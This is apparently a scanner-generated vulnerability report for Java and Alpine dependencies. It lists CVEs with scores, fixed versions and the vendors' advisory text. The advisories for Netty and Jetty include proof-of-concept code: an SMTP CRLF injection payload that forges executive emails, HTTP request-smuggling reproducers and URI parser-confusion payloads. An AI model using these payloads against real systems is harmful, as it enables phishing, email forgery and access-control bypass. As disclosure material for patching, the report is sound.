- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
